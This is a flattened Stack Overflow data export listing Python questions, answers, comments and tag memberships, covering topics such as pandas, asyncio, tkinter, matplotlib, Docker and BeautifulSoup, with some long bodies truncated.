has text: self._A is the capacity in memory allocated for the list. This is not the actual size of the list. This will make a new array in memory when the actual size == capacity.

http://stackoverflow.com/a/49511927
answers question: http://stackoverflow.com/q/49486346
has body: Smart Home skills can use the Alexa.PowerLevelController and Alexa.PercentageController APIs to provide 0-100 control of devices. Either of these should work for controlling fan speed.
has comment: http://stackoverflow.com/comment/86309710
type: Answer
has comment: http://stackoverflow.com/comment/86316796
has comment: http://stackoverflow.com/comment/86309514
has comment: http://stackoverflow.com/comment/86028218
score: 0
has comment: http://stackoverflow.com/comment/86264424

http://stackoverflow.com/a/49458048
has comment: http://stackoverflow.com/comment/85991770
has comment: http://stackoverflow.com/comment/86122075
score: 1
type: Answer
has comment: http://stackoverflow.com/comment/86008266
accepted answer of: http://stackoverflow.com/q/49451501
type: AcceptedAnswer
has body: I repaired your code and it is working now, but I change as little as possible just to get it to work. Most of your problems are caused by wrong use of classes and object-oriented programming in general. So I don't think it would do any help if I rewrite your whole program for you, but I think you should learn OOP programming in python yourself. You can find some basics on these pages (learnpython, tutorialspoint, introtopython) or just type in google and you'll find a lot of pages, videos, courses, etc. And here is fixed code: import pick1 ## This import line you need so you can use code from that file app_window = tk.Tk() #app_window.withdraw() ## we use these three lines below because we only want to hide app_window.geometry("1x1+0+0") ## tkinter window temporarily and withdraw() method causes app_window.overrideredirect(True) ## the window to beforgotten about by the window manager app_window.transient() ## more details on https://wiki.tcl.tk/3175 def rundate(): result = tkinter.messagebox.askyesno(title="Rundate", message="back 7 days?") #result = messagebox.askyesno(title="Rundate", message="back 7 days?") # result = tkinter.messagebox.askyesno() if result == True: rundate = date.today() - timedelta(7) return rundate else: #os.system("pick1.py") #root = tkinter.Tk() app_window.wm_title("Pick1") app_window.geometry("250x150+100+100") app_window.overrideredirect(False) #app_window.mainloop() cm = pick1.CalendarFrame(app_window) cm.grid() ## here we wait until user has selected data range and ## and rundate has been calculated app_window.wait_variable(cm.wait_for_result) return cm.rundate ## we don't need this function because there is already same function in file pick1.py ## def get_date(): ## end = self.result2.strftime("%m/%d/%Y") ## start = self.result1.strftime("%m/%d/%Y") ## daterange = [pd.date_range(start, end)] ## for single_date in daterange: ## x = single_date.strftime("%m/%d/%Y") ## rundate = x ## return rundate rundate = rundate() print(rundate) # Q…
downvote count: 0
answers question: http://stackoverflow.com/q/49451501
upvote count: 1

http://stackoverflow.com/comment/85988208
has text: @SumitJha Sorry, added
comment on: http://stackoverflow.com/q/49491531
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/a/49515794
has comment: http://stackoverflow.com/comment/86066285
has comment: http://stackoverflow.com/comment/86078102
has comment: http://stackoverflow.com/comment/86039627
upvote count: 1
has comment: http://stackoverflow.com/comment/86073921
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/86051670
has comment: http://stackoverflow.com/comment/86067571
accepted answer of: http://stackoverflow.com/q/49514061
downvote count: 0
score: 1
has comment: http://stackoverflow.com/comment/86067653
answers question: http://stackoverflow.com/q/49514061
type: Answer
has body: You haven't included any code but here is one rough idea of how to speed up these sorts of problems (computing distance between many points). Partition the space into blocks roughly the size of the distance required, d. This could be a mapping of the block number to the list of points E.g. blocks[i,j,k] = list_of_points. Then when you generate a new point, you only need to check adjacent blocks. Something like: new_point = random_point() i, j, k = get_block_indices(new_point) for ai in (i-1, i, i+1): for aj in (j-1, j, j+1): for ak in (k-1, k, k+1): for other_point in blocks[ai, aj, ak]: # check whether other_point is too close found_close_other_point = check(new_point, other_point, d) if found_close_other_point: return # start again # only reach if we haven't found a close point try: blocks[i, j, k].append(new_point) except KeyError: # create new block blocks[i, j, k] = [new_point] There's a trade-off between how many blocks you want to store and how many neighbours you need to check. Some additional points: You don't want to store every block, instead just handle when the block doesn't exist yet (KeyError) as being empty. In the worst case you will need as many blocks as points if you do it lazily like this. You could use itertools.product to avoid the nested for loop. If you play with the size of blocks you could also introduce extra skipping conditions, e.g. if you know you likely can't fit more than n points in a block, then you just need to check len(block[i, j, k]) &gt; n. A pure python implementation might not be fastest, you could look into speed things up using http://numba.pydata.org/, which is very easy and fast for these sorts of numeric problem whilst still reading like python. EDIT: an implementation. import itertools import numpy as np from math import ceil from matplotlib import pyplot as plt from mpl_toolkits.mplot3d import Axes3D def compute_min_distances(ps): """Compute the minimum distances between all points ``ps``, with shape (num_points, num_…

http://stackoverflow.com/comment/86068849
has text: @MaxU and Shahaf, I have edited the question, please ignore the code for fitting kmeans, that was my approach. I have highlighted, what I need to do. I hope, it makes sense.
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/49530636

http://stackoverflow.com/comment/85974488
comment on: http://stackoverflow.com/a/49485157
score: 0
type: Comment
has text: I didn't get any errors but the output is still 'None'. I will edit my question soon.
type: AnswerComment

http://stackoverflow.com/a/49581495
answers question: http://stackoverflow.com/q/49537321
score: 0
has body: Adding to what BlackJack said, I would import the time module and add a variable equal to the name you want to give your file + the date and time of writing + the file extension. Something like this: import time ''' actual code here ''' variable_name = 'name_of_file' + time.strftime('%Y%m%d') + '.file_extension' Since you are writing every 10 seconds, adding a %S might be more accurate, too.
type: Answer

http://stackoverflow.com/comment/86109705
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/49550702
has text: Can you change the separator between them to null, and remove the quotes? If so you can pipe into xargs.
type: Comment

http://stackoverflow.com/q/49584561
downvote count: 0
linked to: http://stackoverflow.com/q/37512182
has comment: http://stackoverflow.com/comment/86178535
favorite count: 0
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/86178384
tagged with: python-asyncio
has comment: http://stackoverflow.com/comment/86177634
tagged with: python-multithreading
has title: run infinite loop in asyncio event loop running off the main thread
upvote count: 5
tagged with: python
accepted answer: http://stackoverflow.com/a/49585296
type: Question
has body: I wrote code that seems to do what I want, but I'm not sure if it's a good idea since it mixes threads and event loops to run an infinite loop off the main thread. This is a minimal code snippet that captures the idea of what I'm doing: import asyncio import threading msg = "" async def infinite_loop(): global msg while True: msg += "x" await asyncio.sleep(0.3) def worker(): loop = asyncio.new_event_loop() asyncio.set_event_loop(loop) asyncio.get_event_loop().run_until_complete(infinite_loop()) t = threading.Thread(target=worker, daemon=True) t.start() The main idea is that I have an infinite loop manipulating a global variable each 0.3 s. I want this infinite loop to run off the main thread so I can still access the shared variable in the main thread. This is especially useful in jupyter, because if I call run_until_complete in the main thread I can't interact with jupyter anymore. I want the main thread available to interactively access and modify msg. Using async might seem unnecessary in my example, but I'm using a library that has async code to run a server, so it's necessary. I'm new to async and threading in python, but I remember reading / hearing somewhere that using threading with asyncio is asking for trouble... is this a bad idea? Are there any potential concurrency issues with my approach?
has comment: http://stackoverflow.com/comment/86178430
has answer: http://stackoverflow.com/a/49585296
score: 5
answer count: 1

http://stackoverflow.com/comment/86229416
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/49588308
has text: Can you post the full command line, output, and mark the line in your code that corresponds to where the exception is raised because there is no way for us to know.
score: 0

http://stackoverflow.com/comment/85906808
score: 1
has text: you are missing a `'` on the `startTime....` line, also are you using python 2 or 3
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/49452063

http://stackoverflow.com/comment/85955668
comment on: http://stackoverflow.com/q/49476554
type: Comment
score: 0
has text: Can you please post the complete error. Also give the output of `import sklearn; print(sklearn.__version__)`
type: QuestionComment

http://stackoverflow.com/comment/86328318
has text: Check limits on the site [1](https://developer.twitter.com/en/docs/basics/things-every-developer-should-know) [2](https://developer.twitter.com/en/docs/basics/rate-limiting.html) [3](https://developer.twitter.com/en/docs/tweets/timelines/api-reference/get-statuses-user_timeline.html) there is no alternative than to restart stream connection via tweepy
type: Comment
type: QuestionComment
score: 2
comment on: http://stackoverflow.com/q/49530034

http://stackoverflow.com/a/49566612
type: Answer
score: 0
has body: ekhumoro pushed me in the right direction with QImageReader, where I checked the file formats with supportedImageFormats(). This led me to this post https://github.com/ContinuumIO/anaconda-issues/issues/131 I discovered that since I am using a virtualenvironment, the Python interpreter was in a location that was unknown to the qt.conf file, which had the wrong prefix for the interpreter path. By changing my prefix to my PyQt5 folder relative to the venv folder, I was able to get Qt to load the .jpg image format .dll which now displays the image.
answers question: http://stackoverflow.com/q/49564794

http://stackoverflow.com/q/49515360
favorite count: 0
has comment: http://stackoverflow.com/comment/86036218
has answer: http://stackoverflow.com/a/49515410
possible better answer: http://stackoverflow.com/a/49515410
has comment: http://stackoverflow.com/comment/86035866
score: 2
type: AnsweredQuestion
upvote count: 3
answer count: 3
has comment: http://stackoverflow.com/comment/86035724
has comment: http://stackoverflow.com/comment/86035714
has answer: http://stackoverflow.com/a/49515554
has answer: http://stackoverflow.com/a/49527964
tagged with: python
has body: what is the most efficient way of concat two numbers to one number in python? numbers are always in between 0 to 255, i have tested few ways by Concat as string and cast back to int but they are very costly in time vice for my code. example a = 152 c = 255 d = concat(a,c) answer: d = 152255
has comment: http://stackoverflow.com/comment/86035865
type: Question
has comment: http://stackoverflow.com/comment/86035836
has title: what is the most efficient way of concat two numbers to one number in python?
accepted answer: http://stackoverflow.com/a/49527964
has comment: http://stackoverflow.com/comment/86035876
downvote count: 1

http://stackoverflow.com/q/49527868
type: Question
has comment: http://stackoverflow.com/comment/86106922
has answer: http://stackoverflow.com/a/49536304
type: UnansweredQuestion
tagged with: python
has body: Entity's events are stored in the following way: class Event(db.Model): __tablename__ = 'event' id = db.Column(db.Integer, primary_key=True) entity_id = db.Column(db.Integer, db.ForeignKey('entity.id')) mode = db.Column(db.Integer) timestamp = db.Column(db.DateTime, default=datetime.datetime.utcnow) duration = db.Column(db.Integer, nullable=False, default=0, server_default=db.text('0')) Record is added at the start of event, without the duration of course. If the previous event of different mode exists, then it's duration needs to be set. Example with one mode of None, end result asserted: assert [(x.timestamp, x.duration, x.mode) for x in events] == [ (datetime.datetime(2018, 2, 22, 10, 23, 45), 120L, 0L), (datetime.datetime(2018, 2, 22, 10, 25, 45), 172800L, 1L), (datetime.datetime(2018, 2, 23, 10, 25, 45), 0L, None), (datetime.datetime(2018, 2, 24, 10, 25, 45), 0L, 2L) ] Durations are used in involved statistical reports, so it's probably better to have them stored. Events are otherwise read-only after creation (except maybe for setting duration later), table of events is kind of a log. Another assumption is, that small durations do not matter that much, so if some burst of short events occurs, it does not hurt near-zero durations are not recorded, however, long events must have durations (unless event not ended yet). This, of course, is still valid concurrency issue. What is the best way to (possibly) update the old event with duration? Some options, which come to my mind are: Call a class method from __init__, which queries for the previous event of the same entity and if found sets its duration Use SQLAlchemy's events to cause action on addition of new Event Some clever table arrangement, which calculates duration at the same level of efficiency as stored duration
has comment: http://stackoverflow.com/comment/86071708
score: 0
has comment: http://stackoverflow.com/comment/86074157
has comment: http://stackoverflow.com/comment/86114849
has comment: http://stackoverflow.com/comment/86069573
has comment: http://stackoverflow.com/comment/86063634
answer count: 1
has title: Best way to calculate duration of the event in MySQL / SQLAlchemy?
tagged with: events
tagged with: mysql
tagged with: sqlalchemy

http://stackoverflow.com/comment/86154376
type: Comment
has text: Possible duplicate of [Chaining tests and passing an object from one test to another](https://stackoverflow.com/questions/49238725/chaining-tests-and-passing-an-object-from-one-test-to-another)
score: 0
type: QuestionComment
comment on: http://stackoverflow.com/q/49568232

http://stackoverflow.com/q/49470965
answer count: 3
tagged with: pandas
has answer: http://stackoverflow.com/a/49471412
downvote count: 0
tagged with: excel
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/85944510
has body: Let's say I have an excel file that has columns like: Name Day of Shopping Food bought Bob March 14, 2015 Apple Bob March 14, 2015 Pear Joe April 15, 2013 Apple Bob June 28, 2017 Pomegranite Jake January 4, 2008 Orange Jake April 9, 2010 Peach Joe December 6, 2016 Banana And another excel file that reads: Name Day of Shopping Drink bought Bob March 14, 2015 Water Joe April 15, 2013 Juice Bob June 28, 2017 Soda Jake January 4, 2008 Water Jake April 9, 2010 Tea Joe December 6, 2016 Soda What I want to do is make this into a new excel sheet or just a matrix that reads something like: Name Apple Pear Pomegranite Orange Peach Banana Water Juice Soda Tea Bob 1 1 0 0 0 0 1 0 0 0 Joe 1 0 0 0 0 0 0 1 0 0 Jake 0 0 0 1 0 0 1 0 0 0 So that in the end I get a matrix that has the names, and the following columns list out the food options and the values that the names are assigned (1 or 0) are for whether or not the item was bought for that day. Notice that in the matrix that I described above only values for the first date was found even though each person had a different initial date. More columns would describe the other dates. Please help.
upvote count: 2
type: UnansweredQuestion
tagged with: feature-extraction
has comment: http://stackoverflow.com/comment/85944479
has answer: http://stackoverflow.com/a/49471169
tagged with: dataframe
tagged with: python
score: 2
has answer: http://stackoverflow.com/a/49470996
has title: Use Python to Make a Matrix (Feature Matrix?)

http://stackoverflow.com/comment/86110245
has text: There is a slight speed difference, as shown here https://stackoverflow.com/questions/22290824/are-compound-if-statements-faster-or-multiple-if-statements
type: Comment
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/49551033

http://stackoverflow.com/a/49456249
has body: As @Robert Davy mentioned in his comment, the dates were not well generated. Once that problem was fixed it works for me using your snippet. If you need more information about tick locating and formatting take a look to this. EDITED According with this, I'd try: import matplotlib.dates as mdates plt.plot(dates, var[:,0,0], color='red', linewidth=2, label='Data1') plt.gca().xaxis.set_major_formatter(mdates.DateFormatter('%Y')) plt.gca().xaxis.set_major_locator(mdates.DayLocator())
has comment: http://stackoverflow.com/comment/85942997
upvote count: 0
has comment: http://stackoverflow.com/comment/85988136
type: Answer
answers question: http://stackoverflow.com/q/49456143
downvote count: 1
has comment: http://stackoverflow.com/comment/85967075
score: -1

http://stackoverflow.com/q/49460013
has answer: http://stackoverflow.com/a/49460192
tagged with: docker
score: 0
has body: I'm need help, can not connect to the container all day. I used this address: 127.0.0.1:80 and see: http://joxi.ru/Vm6oegWtxoQVK2. When enter this command 'docker ps' I see it: CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES 42941a9e0dda docker_web "python manage.py ru…" 45 seconds ago Up 4 seconds 127.0.0.1:8000-&gt;80/tcp docker_web_1 Docker-compose: version: '3' services: web: build: context: . dockerfile: /django.testsite/Dockerfile ports: - "127.0.0.1:8000:80" Docerfile FROM python:3 RUN easy_install pip RUN pip install django==1.9.12 RUN pip install requests ADD . /. WORKDIR /django.testsite CMD ["python", "manage.py", "runserver", "127.0.0.1:80"] How solve?
has comment: http://stackoverflow.com/comment/85923102
tagged with: docker-compose
upvote count: 3
has title: Docker - port forwarding
answer count: 1
downvote count: 3
favorite count: 0
type: Question
type: UnansweredQuestion
tagged with: python

series
tags question: http://stackoverflow.com/q/49460703
tag name: series
type: Tag
tags question: http://stackoverflow.com/q/49446923
tags question: http://stackoverflow.com/q/49501026
tags question: http://stackoverflow.com/q/49525207
tags question: http://stackoverflow.com/q/49497502
tags question: http://stackoverflow.com/q/49440296

http://stackoverflow.com/comment/86117059
comment on: http://stackoverflow.com/a/49554699
type: Comment
has text: Data are same? What return `print (df.info)` ?
score: 0
type: AnswerComment

http://stackoverflow.com/a/49489014
has comment: http://stackoverflow.com/comment/85981172
has body: if your cycles appear in order you can use itertools.groupby: from itertools import groupby Cycles = ( ('data', 'Cycle 1'), ('data', 'Cycle 1'), ('data', 'Cycle 2'), ('data', 'Cycle 2'), ('data', 'Cycle 3'), ('data', 'Cycle 3')) for key, group in groupby(Cycles, key=lambda x: x[1]): for number, tpl in enumerate(group, start=1): new_tpl = (*tpl, number) print(new_tpl) which prints: ('data', 'Cycle 1', 1) ('data', 'Cycle 1', 2) ('data', 'Cycle 2', 1) ('data', 'Cycle 2', 2) ('data', 'Cycle 3', 1) ('data', 'Cycle 3', 2)
type: Answer
score: 2
upvote count: 2
answers question: http://stackoverflow.com/q/49488839
type: AcceptedAnswer
downvote count: 0
accepted answer of: http://stackoverflow.com/q/49488839

http://stackoverflow.com/a/49519736
answers question: http://stackoverflow.com/q/49519353
score: 2
upvote count: 2
downvote count: 0
has body: room1_chestChoice is defined only if the previous choice, room1_choice1, was "search the room". Checking room1_chestChoice makes sense only in that case. Change your indentation to reflect your decision tree: elif room1_choice1=='Search the room': print('You have chosen to search the room') ... room1_chestChoice=input(':') if room1_chestChoice=='Attempt to open': print('You heave at the lid ... room1_chestChoice=input(':') That second if has to be entirely within the code dependent on the elif.
type: Answer

selenium
tags question: http://stackoverflow.com/q/49454419
tags question: http://stackoverflow.com/q/49440516
tags question: http://stackoverflow.com/q/49553423
tags question: http://stackoverflow.com/q/49539928
tags question: http://stackoverflow.com/q/49499899
tags question: http://stackoverflow.com/q/49583890
tags question: http://stackoverflow.com/q/49546421
tags question: http://stackoverflow.com/q/49540188
tags question: http://stackoverflow.com/q/49561611
tags question: http://stackoverflow.com/q/49479212
tags question: http://stackoverflow.com/q/49555282
tags question: http://stackoverflow.com/q/49530566
tags question: http://stackoverflow.com/q/49492762
tags question: http://stackoverflow.com/q/49584721
tags question: http://stackoverflow.com/q/49582438
tags question: http://stackoverflow.com/q/49445312
tags question: http://stackoverflow.com/q/49443114
tags question: http://stackoverflow.com/q/49579989
tags question: http://stackoverflow.com/q/49599491
tags question: http://stackoverflow.com/q/49557217
tags question: http://stackoverflow.com/q/49476146
tags question: http://stackoverflow.com/q/49570371
tags question: http://stackoverflow.com/q/49583137
tags question: http://stackoverflow.com/q/49559560
tags question: http://stackoverflow.com/q/49511444
tags question: http://stackoverflow.com/q/49551704
tags question: http://stackoverflow.com/q/49509051
tags question: http://stackoverflow.com/q/49581078
tags question: http://stackoverflow.com/q/49496383
tags question: http://stackoverflow.com/q/49588237
tags question: http://stackoverflow.com/q/49579124
tags question: http://stackoverflow.com/q/49458163
tags question: http://stackoverflow.com/q/49460190
tags question: http://stackoverflow.com/q/49456006
tags question: http://stackoverflow.com/q/49511697
tags question: http://stackoverflow.com/q/49563585
tags question: http://stackoverflow.com/q/49544272
tags question: http://stackoverflow.com/q/49565440
tags question: http://stackoverflow.com/q/49451392
tags question: http://stackoverflow.com/q/49517986
tags question: http://stackoverflow.com/q/49498328
tags question: http://stackoverflow.com/q/49453768
tags question: http://stackoverflow.com/q/49529919
tags question: http://stackoverflow.com/q/49567821
tags question: http://stackoverflow.com/q/49519052
tags question: http://stackoverflow.com/q/49482586
tags question: http://stackoverflow.com/q/49555914
tags question: http://stackoverflow.com/q/49531449
tags question: http://stackoverflow.com/q/49440632
tags question: http://stackoverflow.com/q/49539286
tags question: http://stackoverflow.com/q/49489850
tags question: http://stackoverflow.com/q/49491048
tags question: http://stackoverflow.com/q/49448581
tags question: http://stackoverflow.com/q/49574189
tags question: http://stackoverflow.com/q/49582538
tags question: http://stackoverflow.com/q/49522120
tags question: http://stackoverflow.com/q/49539381
tags question: http://stackoverflow.com/q/49540459
type: Tag
tags question: http://stackoverflow.com/q/49553209
tags question: http://stackoverflow.com/q/49519594
tags question: http://stackoverflow.com/q/49501956
tags question: http://stackoverflow.com/q/49442085
tags question: http://stackoverflow.com/q/49492516
tags question: http://stackoverflow.com/q/49583928
tags question: http://stackoverflow.com/q/49545144
tags question: http://stackoverflow.com/q/49473107
tags question: http://stackoverflow.com/q/49589876
tags question: http://stackoverflow.com/q/49557625
tags question: http://stackoverflow.com/q/49467975
tags question: http://stackoverflow.com/q/49564016
tags question: http://stackoverflow.com/q/49545532
tags question: http://stackoverflow.com/q/49537556
tags question: http://stackoverflow.com/q/49588021
tag name: selenium
tags question: http://stackoverflow.com/q/49503046
tags question: http://stackoverflow.com/q/49457597
tags question: http://stackoverflow.com/q/49498614
tags question: http://stackoverflow.com/q/49592759
tags question: http://stackoverflow.com/q/49471157

http://stackoverflow.com/comment/86153919
has text: Thanks, that all makes sense, and confirms where I was leaning towards even though entity size isn't a concern (I'll be pruning logs) and eventual consistency isn't a concern (don't need latest updates).
type: Comment
type: AnswerComment
score: 0
comment on: http://stackoverflow.com/a/49557438

http://stackoverflow.com/a/49577158
downvote count: 0
score: 1
upvote count: 1
accepted answer of: http://stackoverflow.com/q/49577089
type: AcceptedAnswer
has body: This should help from bs4 import BeautifulSoup s = """<a class="product-li" data-product='{"product":"0431772", "basketId":"043177500", "type":"product", "category":"ga", "subCategory":"gpes", "webVideoUrl": "None", "brand":"konami", "title_url": "pes-2018-para-ps3-konami", "title": "PES 2018 para PS3", "reference": "Konami", "stockTypes": {"043177500": "F"}, "price": "89.9"}' href="https://www.magazineluiza.com.br/pes-2018-para-ps3-konami/p/0431772/ga/gpes/" itemprop="url" title="PES 2018 para PS3">\n\n\n\n \n \n \n \n \n \n\n\n\n\n \n \n \n\n\n PES 2018 para PS3 - Konami \n \n \n \n\ndesconto de R$ 79,10\n \n \nde R$ 169,00\n\n por R$ 89,90\n \n \n \n """ soup = BeautifulSoup(s, "html.parser") i = soup.find("a",class_="product-li") print(i["data-product"]) Output: {"product":"0431772", "basketId":"043177500", "type":"product", "category":"ga", "subCategory":"gpes", "webVideoUrl": "None", "brand":"konami", "title_url": "pes-2018-para-ps3-konami", "title": "PES 2018 para PS3", "reference": "Konami", "stockTypes": {"043177500": "F"}, "price": "89.9"}
type: Answer
answers question: http://stackoverflow.com/q/49577089

http://stackoverflow.com/q/49542025
has answer: http://stackoverflow.com/a/49542528
has comment: http://stackoverflow.com/comment/86091688
type: AnsweredQuestion
score: 1
tagged with: matplotlib
tagged with: python
type: Question
has comment: http://stackoverflow.com/comment/86092259
has comment: http://stackoverflow.com/comment/86092477
downvote count: 0
answer count: 1
upvote count: 1
has title: matplotlib - can't plot without errors
tagged with: lines
accepted answer: http://stackoverflow.com/a/49542528
has body: I'm new to matplotlib and I'm learning how to work with it. With my code I'm trying to plot multiple scatterplots, but there are always unwanted lines that I can't get rid off. See image attached to this post. Here is my Python code: import matplotlib.pyplot as plt from sklearn import datasets from sklearn import cluster iris = datasets.load_iris() for i in range(1,7): kmeans = cluster.KMeans(n_clusters=i).fit(iris.data) Centers = kmeans.cluster_centers_ plot_nr = 230+i plt.subplot(plot_nr) text = str(i) + ' Cluster' plt.scatter(iris.data[:,0], iris.data[:,1], c=kmeans.labels_) plt.scatter(Centers[:,0], Centers[:,1], c='r', s=150, marker='*') plt.title(text) plt.savefig('Iris.png') plt.show() I'm thankful for every suggestion! Thanks, Thomas Plot with unwanted lines
favorite count: 0

http://stackoverflow.com/q/49442630
accepted answer: http://stackoverflow.com/a/49442676
tagged with: function
linked to: http://stackoverflow.com/q/1373164
has answer: http://stackoverflow.com/a/49442676
tagged with: python
tagged with: pandas
type: AnsweredQuestion
downvote count: 0
upvote count: 1
score: 1
answer count: 1
favorite count: 0
has body: I have a Pandas dataframe with about 600 rows, with one column called "PAGE_NAME" that contains 8 unique string values. These are the 8 unique string values in this column: my_list_of_strings = ['Demographics', 'SummaryMeasuresOfHealth', 'LeadingCausesOfDeath', 'MeasuresOfBirthAndDeath', 'RelativeHealthImportance', 'VunerablePopsAndEnvHealth', 'PreventiveServicesUse', 'RiskFactorsAndAccessToCare'] There are 6 other columns in this dataframe. What I'd like to do is create 8 new dataframes, one for each of these strings, where each of the 8 new dataframes will include just the rows where a given string is in the "PAGE_NAME" column. I would like to assign each of the 8 new dataframes a variable name that includes the string: something like Demographics_df, SummaryMeasuresOfHealth_df, etc.... I was able to write a function (below) that creates a list of the dataframes, but (1) I don't know how to extract the 8 separate dataframes and (2) I don't know how to give them names with the appropriate string as part of of the variable name. def make_pagename_dataframes(page_name_list): list_of_dfs = [] for i in page_name_list: list_of_dfs.append(original_df.loc[original_df['PAGE_NAME'] == i]) return list_of_dfs list_of_new_dfs = make_pagename_dataframes(my_list_of_strings)
type: Question
has title: Extract several distinct dataframes from a single dataframe based on conditions of column

http://stackoverflow.com/comment/86108047
has text: @divancontreras I have added an full example to my answer, I hope it clarifies it for you.
comment on: http://stackoverflow.com/a/49499494
type: AnswerComment
score: 0
type: Comment

http://stackoverflow.com/q/49451215
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/85976773
tagged with: python
has comment: http://stackoverflow.com/comment/85909320
has title: Writing large dataframe to HDF5: RuntimeWarning
answer count: 0
tagged with: pandas
score: 1
has comment: http://stackoverflow.com/comment/85905547
downvote count: 0
tagged with: hdf5
has body: I have a fairly large dataframe df containing 3 columns of type string, integer and date, respectively: strings object integers int64 times datetime64[ns] dtype: object The dataframe has almost 200k rows. I output df to an HDF5 file using the following code: store = pd.HDFStore('df.h5', 'w') store.put('df', df, format='table') however, I get a warning: RuntimeWarning: Overflow encountered in long_scalars I think it is due to the size of the dataframe compared to how much (little) memory I have on my computer. Is there a smart way to circumvent this issue, or do I simply need a computer with more memory?
upvote count: 1
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/85905428

http://stackoverflow.com/q/49572147
has comment: http://stackoverflow.com/comment/86152177
linked to: http://stackoverflow.com/q/394809
has answer: http://stackoverflow.com/a/49572205
favorite count: 0
has title: Python: using eval to execute code in the string
type: Question
has comment: http://stackoverflow.com/comment/86151907
score: 5
upvote count: 5
possible better answer: http://stackoverflow.com/a/49572205
tagged with: python
has comment: http://stackoverflow.com/comment/86152023
has comment: http://stackoverflow.com/comment/123506019
accepted answer: http://stackoverflow.com/a/49572233
linked to: http://stackoverflow.com/q/30671563
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/49572233
answer count: 2
has body: I have a syntax tree Tree(if, [Tree(condition, [Token(VARIABLE, 'age'), Token(ACTION_OPERATOR, '&gt;'), Token(SIGNED_NUMBER, '18')]), Tree(result, [Tree(if, [Tree(condition, [Token(VARIABLE, 'salary'), Token(ACTION_OPERATOR, '&gt;'), Token(SIGNED_NUMBER, '100000')]), Tree(result, [Token(STRING, 'success')]), Tree(condition, [Token(VARIABLE, 'salary'), Token(ACTION_OPERATOR, '&lt;'), Token(SIGNED_NUMBER, '50000')]), Tree(result, [Token(STRING, 'fail')]), Tree(else, [Token(STRING, 'get_more_info')])])]), Tree(else, [Token(STRING, 'fail')])]) And I convert it to string: if age &gt; 18: if salary &gt; 100000: print('success') elif salary &lt; 50000: print('fail') else: print('get_more_info') else: print('fail') I declare variables: age = 20 salary = 60000 And try to execute this code with eval(code) and get an error File "&lt;string&gt;", line 1 if age &gt; 18: ^ SyntaxError: invalid syntax
downvote count: 0
linked to: http://stackoverflow.com/q/2220699

http://stackoverflow.com/q/49591323
linked to: http://stackoverflow.com/q/43196084
type: UnansweredQuestion
tagged with: dataframe
tagged with: python
linked to: http://stackoverflow.com/q/39109045
score: 2
tagged with: python-2.7
has comment: http://stackoverflow.com/comment/86191061
tagged with: filter
tagged with: pandas
has comment: http://stackoverflow.com/comment/86190745
has answer: http://stackoverflow.com/a/49591365
linked to: http://stackoverflow.com/q/39972778
answer count: 1
downvote count: 0
has comment: http://stackoverflow.com/comment/86190826
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/86191094
has title: Pandas: Edit part of dataframe, have it affect main dataframe
has body: EDIT: A suggested possible duplicate (this question) is not a duplicate. I'm asking if a slice of a dataframe can be edited and have that slice affect the original dataframe. The "duplicate" Q/A suggested is just looking for an alternate to .loc. The simple answer to my original question appears to be, "no". Original Question: This question likely has a duplicate somewhere, but I couldn't find it. Also, I'm guessing what I'm about to ask isn't possible, but worth a shot. I'm looking to be able to filter or mask a large dataframe, get a smaller dataframe for ease of coding, edit the smaller dataframe, and have it affect the larger dataframe. So something like this: df_full = pd.DataFrame({'a':[1,2,3], 'b':[4,5,6]}) df_part = df_full[df_full['a'] == 2] df_part['b'] = 'Kentucky Fried Chicken' print df_full Would result in: a b 0 1 4 1 2 Kentucky Fried Chicken 2 3 6 I'm well aware of the ability to use the .loc[row_indexer, col_indexer] functionality, but even with a mask variable as the row_indexer, it can be a little unwieldy for more complex purposes. A little context - I'm loading large database tables into a dataframe and want to make many edits on a small slice of it. So the .loc[] gets tedious. Maybe I could filter out that small slice, edit it, then re-append to the original? Any thoughts?
upvote count: 2

http://stackoverflow.com/comment/86136425
type: Comment
type: AnswerComment
has text: Use sort_values(by='project_name') at the end of that statement.
comment on: http://stackoverflow.com/a/49563831
score: 1

http://stackoverflow.com/q/49451073
answer count: 0
has comment: http://stackoverflow.com/comment/85905071
has comment: http://stackoverflow.com/comment/85905384
tagged with: django
has title: django models. ForeignKey(User, default=request.user)
has comment: http://stackoverflow.com/comment/85905112
duplicate of: http://stackoverflow.com/q/31366720
has comment: http://stackoverflow.com/comment/85904475
type: Question
has comment: http://stackoverflow.com/comment/85905568
has body: How to get default user? For example user = models.ForeignKey(User, on_delete=models.PROTECT, default=request.user) Of course this code will not work. This question was asked before but i could not find answer that satisfy me Are there are any solutions for that situations?
has comment: http://stackoverflow.com/comment/85905250
has comment: http://stackoverflow.com/comment/85904690
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/85905731
has comment: http://stackoverflow.com/comment/85905413
tagged with: python
has comment: http://stackoverflow.com/comment/85905554
has comment: http://stackoverflow.com/comment/85904544
has comment: http://stackoverflow.com/comment/85905405
has comment: http://stackoverflow.com/comment/85905465
linked to: http://stackoverflow.com/q/31366720
score: 0

http://stackoverflow.com/a/49524133
has comment: http://stackoverflow.com/comment/86100786
type: AcceptedAnswer
has body: The exception message tells you that classlist[i][0] is a tuple, rather than the integer that part of your code expects. To figure out why you're getting the wrong type, you need to figure out where the classlist variable is defined, and how it's value gets updated. That occurs in enteringData, where you define newstudent to be an empty tuple, then later do classlist.append([newStudent]). So classlist is a list of one-element lists of empty tuples. That's almost certainly not what you want to be doing. Exactly what data you're supposed to be saving is not clear, but probably you want to do something like classlist.append([student_score]) (with maybe other values included in the list, after the score). You could also put the extra values before thes core, but then you'd need to update the other functions to check the appropriate indexes. You might also be able to get rid of the inner list entirely, and just have classlist as a list of integers (use classlist.append(student_score) then, and get rid of the [0] index in the average calculation).
answers question: http://stackoverflow.com/q/49523999
type: Answer
accepted answer of: http://stackoverflow.com/q/49523999
score: 0

http://stackoverflow.com/comment/86174791
